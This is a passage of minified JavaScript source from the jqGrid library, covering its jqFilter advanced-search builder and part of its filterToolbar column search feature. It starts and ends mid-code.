q=Ye.extend(!0,{filter:null,columns:[],sortStrategy:null,onChange:null,afterRedraw:null,checkValues:null,error:!1,errmsg:"",errorcheck:!0,showQuery:!0,sopt:null,ops:[],operands:null,numopts:["eq","ne","lt","le","gt","ge","nu","nn","in","ni"],stropts:["eq","ne","bw","bn","ew","en","cn","nc","nu","nn","in","ni"],strarr:["text","string","blob"],groupOps:[{op:"AND",text:"AND"},{op:"OR",text:"OR"}],groupButton:!0,ruleButtons:!0,uniqueSearchFields:!1,direction:"ltr",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",autoencode:!1,unaryOperations:[]},Ye.jgrid.filter,e||{});return this.each(function(){if(!this.filter){this.p=q,null!==this.p.filter&&void 0!==this.p.filter||(this.p.filter={groupOp:this.p.groupOps[0].op,rules:[],groups:[]}),null!=this.p.sortStrategy&&Ye.jgrid.isFunction(this.p.sortStrategy)&&this.p.columns.sort(this.p.sortStrategy);var e,t,r=this.p.columns.length,y=/msie/i.test(navigator.userAgent)&&!window.opera;if(this.p.initFilter=Ye.extend(!0,{},this.p.filter),r){for(e=0;e<r;e++)(t=this.p.columns[e]).stype?t.inputtype=t.stype:t.inputtype||(t.inputtype="text"),t.sorttype?t.searchtype=t.sorttype:t.searchtype||(t.searchtype="string"),void 0===t.hidden&&(t.hidden=!1),t.label||(t.label=t.name),t.index&&(t.name=t.index),t.hasOwnProperty("searchoptions")||(t.searchoptions={}),t.hasOwnProperty("searchrules")||(t.searchrules={}),void 0===t.search?t.inlist=!0:t.inlist=t.search;var w=function(){return Ye("#"+Ye.jgrid.jqID(q.id))[0]||null},i=w(),x=Ye.jgrid.styleUI[i.p.styleUI||"jQueryUI"].filter,_=Ye.jgrid.styleUI[i.p.styleUI||"jQueryUI"].common,n=(this.p.showQuery&&Ye(this).append("<table class='queryresult "+x.table_widget+"' style='display:block;max-width:440px;border:0px none;' dir='"+this.p.direction+"'><tbody><tr><td class='query'></td></tr></tbody></table>"),function(e,t){var r=[!0,""],i=w();if(Ye.jgrid.isFunction(t.searchrules))r=t.searchrules.call(i,e,t);else if(Ye.jgrid&&Ye.jgrid.checkValues)try{r=Ye.jgrid.checkValues.call(i,e,-1,t.searchrules,t.label)}catch(e){}r&&r.length&&!1===r[0]&&(q.error=!r[0],q.errmsg=r[1])});this.onchange=function(){return this.p.error=!1,this.p.errmsg="",!!Ye.jgrid.isFunction(this.p.onChange)&&this.p.onChange.call(this,this.p)},this.reDraw=function(){Ye(this).find("table.group").first().remove();var e=this.createTableForGroup(q.filter,null);Ye(this).append(e),Ye.jgrid.isFunction(this.p.afterRedraw)&&this.p.afterRedraw.call(this,this.p)},this.createTableForGroup=function(i,e){var o=this,t=Ye("<table class='group "+x.table_widget+" ui-search-table' style='border:0px none;'><tbody></tbody></table>"),r="left",a=("rtl"===this.p.direction&&(r="right",t.attr("dir","rtl")),null===e&&t.append("<tr class='error' style='display:none;'><th colspan='5' class='"+_.error+"' align='"+r+"'></th></tr>"),Ye("<tr></tr>")),r=(t.append(a),Ye("<th colspan='5' align='"+r+"'></th>"));if(a.append(r),!0===this.p.ruleButtons){for(var n,l=Ye("<select size='1' name='select_group_op' class='opsel "+x.srSelect+"'></select>"),s=(r.append(l),""),d=0;d<q.groupOps.length;d++)n=i.groupOp===o.p.groupOps[d].op?" selected='selected'":"",s+="<option value='"+o.p.groupOps[d].op+"'"+n+">"+o.p.groupOps[d].text+"</option>";l.append(s).on("change",function(){i.groupOp=Ye(l).val(),o.onchange()})}var p,a="<span></span>";if(this.p.groupButton&&(a=Ye("<input type='button' value='+ {}' title='"+o.p.addsubgrup+"' class='add-group "+_.button+"' name='newsubgroup'/>")).on("click",function(){return void 0===i.groups&&(i.groups=[]),i.groups.push({groupOp:q.groupOps[0].op,rules:[],groups:[]}),o.reDraw(),o.onchange(),!1}),r.append(a),!0===this.p.ruleButtons&&((a=Ye("<input type='button' value='+' title='"+o.p.addrule+"' class='add-rule ui-add "+_.button+"'/ name='newrule'>")).on("click",function(){for(void 0===i.rules&&(i.rules=[]),d=0;d<o.p.columns.length;d++){var e=void 0===o.p.columns[d].search||o.p.columns[d].search,t=!0===o.p.columns[d].hidden;if(!0===o.p.columns[d].searchoptions.searchhidden&&e||e&&!t){p=o.p.columns[d];break}}var r;return p&&(r=p.searchoptions.sopt||o.p.sopt||(-1!==Ye.inArray(p.searchtype,o.p.strarr)?o.p.stropts:o.p.numopts),i.rules.push({field:p.name,op:r[0],data:""}),o.reDraw()),!1}),r.append(a)),null!==e&&(a=Ye("<input type='button' value='-' title='"+o.p.delgroup+"' class='delete-group "+_.button+"'/ name='delgroup'>"),r.append(a),a.on("click",function(){for(d=0;d<e.groups.length;d++)if(e.groups[d]===i){e.groups.splice(d,1);break}return o.reDraw(),o.onchange(),!1})),void 0!==i.groups)for(d=0;d<i.groups.length;d++){var c=Ye("<tr></tr>"),u=(t.append(c),Ye("<td class='first'></td>")),u=(c.append(u),Ye("<td colspan='4'></td>"));u.append(this.createTableForGroup(i.groups[d],i)),c.append(u)}void 0===i.groupOp&&(i.groupOp=o.p.groupOps[0].op);var h=o.p.ruleButtons&&o.p.uniqueSearchFields;if(h)for(f=0;f<o.p.columns.length;f++)o.p.columns[f].inlist&&(o.p.columns[f].search=!0);if(void 0!==i.rules)for(d=0;d<i.rules.length;d++)if(t.append(this.createTableRowForRule(i.rules[d],i)),h)for(var g=i.rules[d].field,f=0;f<o.p.columns.length;f++)if(g===o.p.columns[f].name){o.p.columns[f].search=!1;break}return t},this.createTableRowForRule=function(a,e){for(var n,l,s,t,d,p=this,c=w(),r=Ye("<tr></tr>"),i="",o=(r.append("<td class='first'></td>"),Ye("<td class='columns'></td>")),u=(r.append(o),Ye("<select size='1' name='select_field' class='"+x.srSelect+"'></select>")),h=[],g=(o.append(u),u.on("change",function(){var e;for(p.p.ruleButtons&&p.p.uniqueSearchFields&&(t=parseInt(Ye(this).data("curr"),10),e=this.selectedIndex,0<=t)&&(p.p.columns[t].search=!0,Ye(this).data("curr",e),p.p.columns[e].search=!1),a.field=Ye(u).val(),l=Ye(this).parents("tr").first(),Ye(".data",l).empty(),f=0;f<p.p.columns.length;f++)if(p.p.columns[f].name===a.field){s=p.p.columns[f];break}if(s){s.searchoptions.id=Ye.jgrid.randId(),s.searchoptions.name=a.field,s.searchoptions.oper="filter",!y||"text"!==s.inputtype||s.searchoptions.size||(s.searchoptions.size=10);var t,r=Ye.jgrid.createEl.call(c,s.inputtype,s.searchoptions,"",!0,p.p.ajaxSelectOptions||{},!0),i=(Ye(r).addClass("input-elm "+("select"===s.inputtype?x.srSelect:x.srInput)),n=s.searchoptions.sopt||p.p.sopt||(-1!==Ye.inArray(s.searchtype,p.p.strarr)?p.p.stropts:p.p.numopts),""),o=0;for(h=[],Ye.each(p.p.ops,function(){h.push(this.oper)}),f=0;f<n.length;f++)-1!==(d=Ye.inArray(n[f],h))&&(0===o&&(a.op=p.p.ops[d].oper),i+="<option value='"+p.p.ops[d].oper+"'>"+p.p.ops[d].text+"</option>",o++);Ye(".selectopts",l).empty().append(i),Ye(".selectopts",l)[0].selectedIndex=0,Ye.jgrid.msie()&&Ye.jgrid.msiever()<9&&(t=parseInt(Ye("select.selectopts",l)[0].offsetWidth,10)+1,Ye(".selectopts",l).width(t),Ye(".selectopts",l).css("width","auto")),Ye(".data",l).append(r),Ye.jgrid.bindEv.call(c,r,s.searchoptions),Ye(".input-elm",l).on("change",function(e){e=e.target;"custom"===s.inputtype&&Ye.jgrid.isFunction(s.searchoptions.custom_value)?a.data=s.searchoptions.custom_value.call(c,Ye(".customelement",this),"get"):a.data=Ye(e).val(),"select"===s.inputtype&&s.searchoptions.multiple&&(a.data=a.data.join(",")),p.onchange()}),setTimeout(function(){a.data=Ye(r).val(),("nu"===a.op||"nn"===a.op||0<=Ye.inArray(a.op,p.p.unaryOperations))&&(Ye(r).attr("readonly","true"),Ye(r).attr("disabled","true")),"select"===s.inputtype&&s.searchoptions.multiple&&Array.isArray(a.data)&&(a.data=a.data.join(",")),p.onchange()},0)}}),0),f=0;f<p.p.columns.length;f++){var m=void 0===p.p.columns[f].search||p.p.columns[f].search,v=!0===p.p.columns[f].hidden;(!0===p.p.columns[f].searchoptions.searchhidden&&m||m&&!v)&&(t="",a.field===p.p.columns[f].name&&(t=" selected='selected'",g=f),i+="<option value='"+p.p.columns[f].name+"'"+t+">"+p.p.columns[f].label+"</option>")}u.append(i),u.data("curr",g);var o=Ye("<td class='operators'></td>"),j=(r.append(o),(s=q.columns[g]).searchoptions.id=Ye.jgrid.randId(),!y||"text"!==s.inputtype||s.searchoptions.size||(s.searchoptions.size=10),s.searchoptions.name=a.field,s.searchoptions.oper="filter",Ye.jgrid.createEl.call(c,s.inputtype,s.searchoptions,a.data,!0,p.p.ajaxSelectOptions||{},!0)),b=(("nu"===a.op||"nn"===a.op||0<=Ye.inArray(a.op,p.p.unaryOperations))&&(Ye(j).attr("readonly","true"),Ye(j).attr("disabled","true")),Ye("<select size='1' name='select_oper' class='selectopts "+x.srSelect+"'></select>"));for(o.append(b),b.on("change",function(){a.op=Ye(b).val(),l=Ye(this).parents("tr").first();var e=Ye(".input-elm",l)[0];"nu"===a.op||"nn"===a.op||0<=Ye.inArray(a.op,p.p.unaryOperations)?(a.data="","SELECT"!==e.tagName.toUpperCase()&&(e.value=""),e.setAttribute("readonly","true"),e.setAttribute("disabled","true")):("SELECT"===e.tagName.toUpperCase()&&(a.data=e.value),e.removeAttribute("readonly"),e.removeAttribute("disabled")),p.onchange()}),n=s.searchoptions.sopt||p.p.sopt||(-1!==Ye.inArray(s.searchtype,p.p.strarr)?p.p.stropts:p.p.numopts),i="",Ye.each(p.p.ops,function(){h.push(this.oper)}),f=0;f<n.length;f++)-1!==(d=Ye.inArray(n[f],h))&&(t=a.op===p.p.ops[d].oper?" selected='selected'":"",i+="<option value='"+p.p.ops[d].oper+"'"+t+">"+p.p.ops[d].text+"</option>");b.append(i);o=Ye("<td class='data'></td>"),r.append(o),o.append(j),Ye.jgrid.bindEv.call(c,j,s.searchoptions),Ye(j).addClass("input-elm "+("select"===s.inputtype?x.srSelect:x.srInput)).on("change",function(){a.data="custom"===s.inputtype?s.searchoptions.custom_value.call(c,Ye(".customelement",this),"get"):Ye(this).val(),p.onchange()}),o=Ye("<td></td>");return r.append(o),!0===this.p.ruleButtons&&(j=Ye("<input type='button' value='-' title='"+p.p.delrule+"' class='delete-rule ui-del "+_.button+"'/ name='delrule'>"),o.append(j),j.on("click",function(){for(f=0;f<e.rules.length;f++)if(e.rules[f]===a){e.rules.splice(f,1);break}return p.reDraw(),p.onchange(),!1})),r},this.getStringForGroup=function(e){var t,r="(";if(void 0!==e.groups)for(t=0;t<e.groups.length;t++){1<r.length&&(r+=" "+e.groupOp+" ");try{r+=this.getStringForGroup(e.groups[t])}catch(e){alert(e)}}if(void 0!==e.rules)try{for(t=0;t<e.rules.length;t++)1<r.length&&(r+=" "+e.groupOp+" "),r+=this.getStringForRule(e.rules[t])}catch(e){alert(e)}return"()"===(r+=")")?"":r},this.getStringForRule=function(e){for(var t,r,i="",o="",a=0;a<this.p.ops.length;a++)if(this.p.ops[a].oper===e.op){i=this.p.operands.hasOwnProperty(e.op)?this.p.operands[e.op]:"",o=this.p.ops[a].oper;break}for(a=0;a<this.p.columns.length;a++)if(this.p.columns[a].name===e.field){t=this.p.columns[a];break}return void 0===t?"":(r=this.p.autoencode?Ye.jgrid.htmlEncode(e.data):e.data,"bw"!==o&&"bn"!==o||(r+="%"),"ew"!==o&&"en"!==o||(r="%"+r),"cn"!==o&&"nc"!==o||(r="%"+r+"%"),"in"!==o&&"ni"!==o||(r=" ("+r+")"),q.errorcheck&&n(e.data,t),-1!==Ye.inArray(t.searchtype,["int","integer","float","number","currency"])||"nn"===o||"nu"===o||0<=Ye.inArray(e.op,this.p.unaryOperations)?e.field+" "+i+" "+r:e.field+" "+i+' "'+r+'"')},this.resetFilter=function(){this.p.filter=Ye.extend(!0,{},this.p.initFilter),this.reDraw(),this.onchange()},this.hideError=function(){Ye("th."+_.error,this).html(""),Ye("tr.error",this).hide()},this.showError=function(){Ye("th."+_.error,this).html(Ye.jgrid.stripScript(this.p.errmsg)),Ye("tr.error",this).show()},this.toUserFriendlyString=function(){return this.getStringForGroup(q.filter)},this.toString=function(){var o=this;return function e(t){var r,i="(";if(void 0!==t.groups)for(r=0;r<t.groups.length;r++)1<i.length&&("OR"===t.groupOp?i+=" || ":i+=" && "),i+=e(t.groups[r]);if(void 0!==t.rules)for(r=0;r<t.rules.length;r++)1<i.length&&("OR"===t.groupOp?i+=" || ":i+=" && "),i+=function(e){if(o.p.errorcheck){for(var t,r=0;r<o.p.columns.length;r++)if(o.p.columns[r].name===e.field){t=o.p.columns[r];break}t&&n(e.data,t)}return e.op+"(item."+e.field+",'"+e.data+"')"}(t.rules[r]);return"()"==(i+=")")?"":i}(this.p.filter)},this.reDraw(),this.p.showQuery&&this.onchange(),this.filter=!0}}})},Ye.extend(Ye.fn.jqFilter,{toSQLString:function(){var e="";return this.each(function(){e=this.toUserFriendlyString()}),e},filterData:function(){var e;return this.each(function(){e=this.p.filter}),e},getParameter:function(r){var i=null;return void 0!==r&&this.each(function(e,t){t.p.hasOwnProperty(r)&&(i=t.p[r])}),i||this[0].p},resetFilter:function(){return this.each(function(){this.resetFilter()})},addFilter:function(e){"string"==typeof e&&(e=Ye.jgrid.parse(e)),this.each(function(){this.p.filter=e,this.reDraw(),this.onchange()})}}),Ye.extend(Ye.jgrid,{filterRefactor:function(e){var t,r,i,o,a,n,l={};try{if((l="string"==typeof e.ruleGroup?Ye.jgrid.parse(e.ruleGroup):e.ruleGroup).rules&&l.rules.length)for(t=l.rules,r=0;r<t.length;r++)n=(i=t[r]).field,-1<Ye.inArray(n,e.ssfield)&&1<(o=i.data.split(e.splitSelect)).length&&(void 0===l.groups&&(l.groups=[]),a={groupOp:e.groupOpSelect,groups:[],rules:[]},l.groups.push(a),Ye.each(o,function(e){o[e]&&a.rules.push({data:o[e],op:i.op,field:i.field})}),t.splice(r,1),r--)}catch(e){}return l}}),Ye.jgrid.extend({filterToolbar:function(S){var i=Ye.jgrid.getRegional(this[0],"search");return S=Ye.extend({autosearch:!0,autosearchDelay:500,searchOnEnter:!0,beforeSearch:null,afterSearch:null,beforeClear:null,afterClear:null,onClearSearchValue:null,url:"",stringResult:!1,groupOp:"AND",defaultSearch:"bw",searchOperators:!1,resetIcon:"x",splitSelect:",",groupOpSelect:"OR",errorcheck:!0,operands:{eq:"==",ne:"!",lt:"<",le:"<=",gt:">",ge:">=",bw:"^",bn:"!^",in:"=",ni:"!=",ew:"|",en:"!@",cn:"~",nc:"!~",nu:"#",nn:"!#",bt:"..."},disabledKeys:[9,16,17,18,19,20,33,34,35,36,37,38,39,40,30,45,112,113,114,115,116,117,118,119,120,121,122,123,144,145]},i,S||{}),this.each(function(){var D=this,F=[];if(!D.p.filterToolbar){if(Ye(D).data("filterToolbar")||Ye(D).data("filterToolbar",S),D.p.force_regional&&(S=Ye.extend(S,i)),void 0!==D.p.customFilterDef)for(var e in D.p.customFilterDef)D.p.customFilterDef.hasOwnProperty(e)&&!S.operands.hasOwnProperty(e)&&(S.odata.push({oper:e,text:D.p.customFilterDef[e].text}),S.operands[e]=D.p.customFilterDef[e].operand,!0===D.p.customFilterDef[e].unary)&&F.push(e);var u,h,t,g,f=Ye.jgrid.styleUI[D.p.styleUI||"jQueryUI"].filter,p=Ye.jgrid.styleUI[D.p.styleUI||"jQueryUI"].common,m=Ye.jgrid.styleUI[D.p.styleUI||"jQueryUI"].base,v=function(e){void 0===e&&(e=1);var r,i,o,a,n={},l=0,s={},d=!1,p=[],c=[],u={},h=[],g=!1,f=[!0,"",""],m=!1;if(Ye.each(D.p.colModel,function(){var e,t=!1;if(i=this.index||this.name,a=this.searchoptions||{},!0===this.frozen&&!0===D.p.frozenColumns?(e=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(this.name),D.grid.fhDiv),t=!0):e=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(this.name),D.grid.hDiv),void 0===e[0]&&(e=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(this.name),D.grid.hDiv)),o=S.searchOperators&&a.searchOperMenu?e.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper")||S.defaultSearch:a.sopt?a.sopt[0]:"select"===this.stype?"eq":S.defaultSearch,"custom"===this.stype&&Ye.jgrid.isFunction(a.custom_value)&&0<e.length?(r=a.custom_value.call(D,e,"get"),h.push(i)):r=e.val(),"select"===this.stype&&a.multiple&&Array.isArray(r)?r=0<r.length?(d=!0,p.push(i),1===r.length?r[0]:r):"":"bt"!==o&&"text"===this.stype&&!0===a.splitSearchWord&&c.push(i),this.searchrules&&S.errorcheck&&(Ye.jgrid.isFunction(this.searchrules)?f=this.searchrules.call(D,r,this):Ye.jgrid&&Ye.jgrid.checkValues&&(f=Ye.jgrid.checkValues.call(D,r,-1,this.searchrules,this.label||this.name)),f)&&f.length&&!1===f[0])return this.searchrules.hasOwnProperty("validationError")&&(m=this.searchrules.validationError),!1;if("bt"===o&&(g=!0),t&&"cb"!==i&&"rn"!==i&&"subgrid"!==i&&"sc"!==i&&(u[i]=r),r||"nu"===o||"nn"===o||0<=Ye.inArray(o,F))n[i]=r,s[i]=o,l++;else try{delete D.p.postData[i]}catch(e){}}),!1===f[0])Ye.jgrid.isFunction(m)?m.call(D,f[1]):(v=Ye.jgrid.getRegional(D,"errors"),Ye.jgrid.info_dialog(v.errcap,f[1],"",{styleUI:D.p.styleUI}));else{var t,v=0<l;if(!0===S.stringResult||"local"===D.p.datatype||!0===S.searchOperators){var j,b,y,w,x,_,q='{"groupOp":"'+S.groupOp+'","rules":[',C=0;if(Ye.each(n,function(e,t){0<C&&(q+=","),q=(q=(q+='{"field":"'+e+'",')+'"op":"'+s[e]+'",')+'"data":"'+(t+="").replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',C++}),q+="]}",d&&(j=Ye.jgrid.filterRefactor({ruleGroup:q,ssfield:p,splitSelect:S.splitSelect,groupOpSelect:S.groupOpSelect})),g&&(j=Ye.isPlainObject(j)?j:Ye.jgrid.parse(q)).rules&&j.rules.length)for(b=j.rules,y=0;y<b.length;y++)"bt"===(w=b[y]).op&&1<(x=w.data.split("...")).length&&(void 0===j.groups&&(j.groups=[]),_={groupOp:"AND",groups:[],rules:[]},j.groups.push(_),Ye.each(x,function(e){x[e]&&_.rules.push({data:x[e],op:0===e?"ge":"le",field:w.field})}),b.splice(y,1),y--);c.length&&(j=Ye.jgrid.filterRefactor({ruleGroup:q,ssfield:c,splitSelect:a.splitSearchSeparator||";",groupOpSelect:"OR"})),(g||d||c.length)&&(q=JSON.stringify(j)),!0===D.p.mergeSearch&&D.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==D.p.searchModules.filterToolbar?(D.p.searchModules.filterToolbar=0<C?q:null,v=!0,Ye.extend(D.p.postData,{filters:Ye.jgrid.splitSearch(D.p.searchModules)})):Ye.extend(D.p.postData,{filters:q}),Ye.each(["searchField","searchString","searchOper"],function(e,t){D.p.postData.hasOwnProperty(t)&&delete D.p.postData[t]})}else Ye.extend(D.p.postData,n);S.url&&(t=D.p.url,Ye(D).jqGrid("setGridParam",{url:S.url}));var I="stop"===Ye(D).triggerHandler("jqGridToolbarBeforeSearch");(I=!I&&Ye.jgrid.isFunction(S.beforeSearch)?S.beforeSearch.call(D):I)||Ye(D).jqGrid("setGridParam",{search:v}).trigger("reloadGrid",[{page:e}]),t&&Ye(D).jqGrid("setGridParam",{url:t}),Ye(D).triggerHandler("jqGridToolbarAfterSearch"),Ye.jgrid.isFunction(S.afterSearch)&&S.afterSearch.call(D),D.p.frozenColumns&&G(u,s,p,h)}},G=function(e,a,t,n){var l=Ye(".ui-search-toolbar",D.grid.hDiv),s=Ye(".ui-search-toolbar",D.grid.fhDiv);Ye.each(e,function(e,t){var r,i,o;S.searchOperators&&(r=a[e])&&(Ye(".ui-search-table .ui-search-oper [colname='userId']",l).attr({soper:r}).text(S.operands[r]),Ye(".ui-search-table .ui-search-oper [colname='userId']",s).attr({soper:r}).text(S.operands[r])),-1<Ye.inArray(e,n)?(r=Ye.jgrid.getElemByAttrVal(D.p.colModel,"name",e))&&r.searchoptions&&(r=r.searchoptions||{},Ye.jgrid.isFunction(r.custom_value))&&(i=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(e),D.grid.fhDiv),o=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(e),D.grid.hDiv),r.custom_value.call(D,i,"set",t),r.custom_value.call(D,o,"set",t)):(Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(e),l).val(t),Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(e),s).val(t))})},j=Ye("<tr class='ui-search-toolbar' role='row'></tr>"),b=(S.restoreFromFilters&&(t=!0===D.p.mergeSearch&&D.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==D.p.searchModules.filterToolbar?D.p.searchModules.filterToolbar:D.p.postData.filters)&&("string"==typeof t&&(t=Ye.jgrid.parse(t)),h=!(!t.rules||!t.rules.length)&&t.rules),new Set(S.disabledKeys));if(b.size!==S.disabledKeys.length)for(var r=0;r<S.disabledKeys.length;r++)(b=new Set).add(S.disabledKeys[r]);i.filterFor&&(g=i.filterFor),D.p.colSpanHeader.length&&Ye(D).jqGrid("destroyColSpanHeader",!1),Ye.each(D.p.colModel,function(e){var t,r,i,o=this,a="",n="=",l=Ye("<th role='columnheader' class='"+m.headerBox+" ui-th-"+D.p.direction+" "+(o.labelClasses||"")+"' id='gsh_"+D.p.id+"_"+o.name+"'></th>"),s=Ye('<div><span aria-label="empty" style="display: none;">empty</span></div>'),d=Ye("<table class='ui-search-table' cellspacing='0'><tr><td class='ui-search-oper' headers=''></td><td class='ui-search-input' headers=''></td><td class='ui-search-clear' headers=''></td></tr></table>");if(!0===this.hidden&&Ye(l).css("display","none"),this.search=!1!==this.search,void 0===this.stype&&(this.stype="text"),this.searchoptions=this.searchoptions||{},void 0===this.searchoptions.searchOperMenu&&(this.searchoptions.searchOperMenu=!0),e=void 0!==g?g+" "+D.p.colNames[e]:D.p.colNames[e],t=Ye.extend({},this.searchoptions,{name:o.index||o.name,id:"gs_"+D.p.idPrefix+o.name,oper:"search",title:e}),this.search){if(S.restoreFromFilters&&h)for(var p=!1,c=0;c<h.length;c++)if(h[c].field)if((o.index||o.name)===h[c].field){p=h[c];break}if(S.searchOperators){for(r=t.sopt?t.sopt[0]:"select"===o.stype?"eq":S.defaultSearch,S.restoreFromFilters&&p&&(r=p.op),i=0;i<S.odata.length;i++)if(S.odata[i].oper===r){n=S.operands[r]||"";break}e=null!=t.searchtitle?t.searchtitle:S.operandTitle,a=this.searchoptions.searchOperMenu?"<a title='"+e+"' soper='"+r+"' class='soptclass' colname='"+this.name+"'>"+n+"</a>":""}switch(Ye("td",d).eq(0).attr("columname",o.name).append(a),void 0===t.clearSearch&&(t.clearSearch=!0),t.clearSearch?(e=S.resetTitle||"Clear Search Value",Ye("td",d).eq(2).append("<a title='"+e+"' tabindex='0' style='padding-right: 0.3em;padding-left: 0.3em;' class='clearsearchclass'>"+S.resetIcon+"</a>")):Ye("td",d).eq(2).hide(),this.surl&&(t.dataUrl=this.surl),e="",t.defaultValue&&(e=Ye.jgrid.isFunction(t.defaultValue)?t.defaultValue.call(D):t.defaultValue),S.restoreFromFilters&&p&&(e=p.data),e=Ye.jgrid.createEl.call(D,this.stype,t,e,!1,Ye.extend({},Ye.jgrid.ajaxOptions,D.p.ajaxSelectOptions||{})),"custom"!==this.stype&&("select"===this.stype?Ye(e).addClass(f.srSelect):Ye(e).addClass(f.srInput)),Ye("td",d).eq(1).append(e),Ye(s).append(d),null==t.dataEvents&&(t.dataEvents=[]),this.stype){case"select":!0===S.autosearch&&t.dataEvents.push({type:"change",fn:function(){return v(),!1}});break;case"text":case"custom":!0===S.autosearch&&(S.searchOnEnter?t.dataEvents.push({type:"keypress",fn:function(e){return 13===(e.charCode||e.keyCode||0)?(e.preventDefault(),v(),!1):this}}):t.dataEvents.push({type:"keydown",fn:function(e){var t=e.which;if(!b.has(t)){if(13===t)return e.preventDefault(),!1;u&&clearTimeout(u),u=setTimeout(function(){v()},S.autosearchDelay)}}}))}Ye.jgrid.bindEv.call(D,e,t)}Ye(l).append(s),Ye(j).append(l),S.searchOperators&&""!==a||Ye("td",d).eq(0).hide()}),Ye("table thead",D.grid.hDiv).append(j),S.searchOperators&&(Ye(".soptclass",j).click(function(e){var t=Ye(this).offset(),r=t.left,t=t.top,i=this;Ye("#sopt_menu").remove(),r=parseInt(r,10),t=parseInt(t,10)+18;var o,a='<ul id="sopt_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="font-size:'+(Ye(".ui-jqgrid").css("font-size")||"11px")+";left:"+r+"px;top:"+t+'px;">',n=Ye(i).attr("soper"),l=[],r=Ye(i).attr("colname"),s=Ye.jgrid.getElemByAttrVal(D.p.colModel,"name",r,!0);if(-1!==s){var t=D.p.colModel[s],d=Ye.extend({},t.searchoptions);for(d.sopt||(d.sopt=[],d.sopt[0]="select"===t.stype?"eq":S.defaultSearch),Ye.each(S.odata,function(){l.push(this.oper)}),s=0;s<d.sopt.length;s++)-1!==(o=Ye.inArray(d.sopt[s],l))&&(a+='<li class="ui-menu-item '+(n===S.odata[o].oper?p.highlight:"")+'" role="presentation"><a class="'+p.cornerall+' g-menu-item" tabindex="0" role="menuitem" value="'+S.odata[o].oper+'" oper="'+S.operands[S.odata[o].oper]+'"><table class="ui-common-table"><tr><td class="opersign">'+S.operands[S.odata[o].oper]+"</td><td>"+S.odata[o].text+"</td></tr></table></a></li>");a+="</ul>",Ye("body").append(a),Ye("#sopt_menu").addClass("ui-menu "+f.menu_widget),Ye("#sopt_menu > li > a").hover(function(){Ye(this).addClass(p.hover)},function(){Ye(this).removeClass(p.hover)}).click(function(){var e=Ye(this).attr("value"),t=Ye(this).attr("oper");Ye(D).triggerHandler("jqGridToolbarSelectOper",[e,t,i]),Ye("#sopt_menu").hide(),Ye(i).text(t).attr("soper",e),!0===S.autosearch&&(t=Ye(i).parent().next().children()[0],Ye(t).val()||"nu"===e||"nn"===e||0<=Ye.inArray(e,F))&&v()})}e.stopPropagation()}),Ye("body").on("click",function(e){"soptclass"!==e.target.className&&Ye("#sopt_menu").remove()})),Ye(".clearsearchclass",j).click(function(){var e,t=Ye(this).parents("tr").first(),r=Ye("td.ui-search-oper",t).attr("columname"),i=Ye("td.ui-search-oper a",t).attr("soper");if(-1===(r=Ye.jgrid.getElemByAttrVal(D.p.colModel,"name",r,!0)))return!1;var o=D.p.colModel[r],a=Ye.extend({},o.searchoptions||{}),n=a.defaultValue||"",l=("select"===o.stype?(l=Ye("td.ui-search-input select",t),n?l.val(n):l[0].selectedIndex=0):(l=Ye("td.ui-search-input input",t)).val(n),Ye(D).triggerHandler("jqGridToolbarClearVal",[l[0],r,a,n]),Ye.jgrid.isFunction(S.onClearSearchValue)&&S.onClearSearchValue.call(D,l[0],r,a,n),"");("nu"===i||"nn"===i||0<=Ye.inArray(i,F))&&(e=a.sopt?a.sopt[0]:"select"===o.stype?"eq":S.defaultSearch,l=null!=D.p.customFilterDef&&null!=D.p.customFilterDef[e]?D.p.customFilterDef[e].operand:S.operands[e]||"",(e===i?Ye("td.ui-search-oper a",t).attr("soper","dummy"):Ye("td.ui-search-oper a",t).attr("soper",e)).text(l)),!0===S.autosearch&&(v(),e===i)&&Ye("td.ui-search-oper a",t).attr("soper",e).text(l)}),Ye(".clearsearchclass",j).keydown(function(e){13===e.keyCode&&(e.preventDefault(),Ye(".clearsearchclass",j).trigger("click"))}),Ye(D.grid.hDiv).on("scroll",function(e){D.grid.hScroll||(D.grid.bScroll=!0,D.grid.bDiv.scrollLeft=D.grid.hDiv.scrollLeft,D.p.footerrow&&(D.grid.sDiv.scrollLeft=D.grid.bDiv.scrollLeft),D.p.headerrow&&(D.grid.hrDiv.scrollLeft=D.grid.bDiv.scrollLeft)),D.grid.hScroll=!1}),D.p.colSpanHeader.length&&setTimeout(function(){Ye(D).jqGrid("setColSpanHeader")},0),this.p.filterToolbar=!0,this.triggerToolbar=v,this.clearToolbar=function(e){var t,r,i,o,a,n,l={},s={},d=0,p=(e="boolean"!=typeof e||e,Ye.each(D.p.colModel,function(){switch(r=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(this.name),!0===this.frozen&&!0===D.p.frozenColumns?D.grid.fhDiv:D.grid.hDiv),i=this.searchoptions&&void 0!==this.searchoptions.defaultValue?this.searchoptions.defaultValue:void 0,t=this.index||this.name,s[t]=this.searchoptions&&this.searchoptions.sopt?this.searchoptions.sopt[0]:S.defaultSearch||"eq",this.stype){case"select":if(r.find("option").each(function(e){if(0===e&&(this.selected=!0),Ye(this).val()===i)return!(this.selected=!0)}),void 0!==i)l[t]=i,d++;else try{delete D.p.postData[t]}catch(e){}break;case"text":if(r.val(i||""),void 0!==i)l[t]=i,d++;else try{delete 